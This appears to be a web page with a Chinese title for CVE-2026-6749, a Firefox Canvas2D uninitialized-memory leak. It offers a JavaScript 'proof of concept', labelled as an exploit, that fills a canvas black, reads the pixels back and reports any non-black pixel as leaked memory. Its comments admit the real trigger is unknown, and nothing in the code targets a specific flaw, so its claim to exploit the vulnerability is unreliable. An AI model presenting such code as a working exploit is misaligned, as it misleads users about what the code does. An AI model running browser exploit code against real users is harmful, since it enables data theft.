CVE-2026-6749 Firefox Canvas2D未初始化内存信息泄露漏洞

// PoC for CVE-2026-6749: Information Disclosure via Uninitialized Memory in Canvas2D // This script attempts to trigger the uninitialized memory read vulnerability. function exploit_cve_2026_6749() { // Create a Canvas element var canvas = document.createElement('canvas'); var ctx = canvas.getContext('2d', { willReadFrequently: true }); // Set canvas dimensions to trigger specific memory allocation patterns canvas.width = 100; canvas.height = 100; // Perform operations that might trigger uninitialized memory access // Specific trigger depends on internal implementation details of Canvas2D ctx.fillStyle = '#000000'; ctx.fillRect(0, 0, 100, 100); // Attempt to read pixel data which may contain uninitialized memory bytes try { var imageData = ctx.getImageData(0, 0, 100, 100); var data = imageData.data; // Analyze the data buffer for non-zero patterns (leaked memory) var leaked = false; for (var i = 0; i < data.length; i += 4) { // Check for data that shouldn't be there (simplified check) if (data[i] !== 0 || data[i+1] !== 0 || data[i+2] !== 0 || data[i+3] !== 255) { console.log("Potential leaked data at index " + i + ": ", data[i], data[i+1], data[i+2], data[i+3]); leaked = true; } } if (leaked) { console.log("[+] CVE-2026-6749 PoC: Potential uninitialized memory detected."); } else { console.log("[-] CVE-2026-6749 PoC: No obvious leak detected in this run."); } } catch (e) { console.error("Error executing PoC:", e); } } // Run the exploit exploit_cve_2026_6749();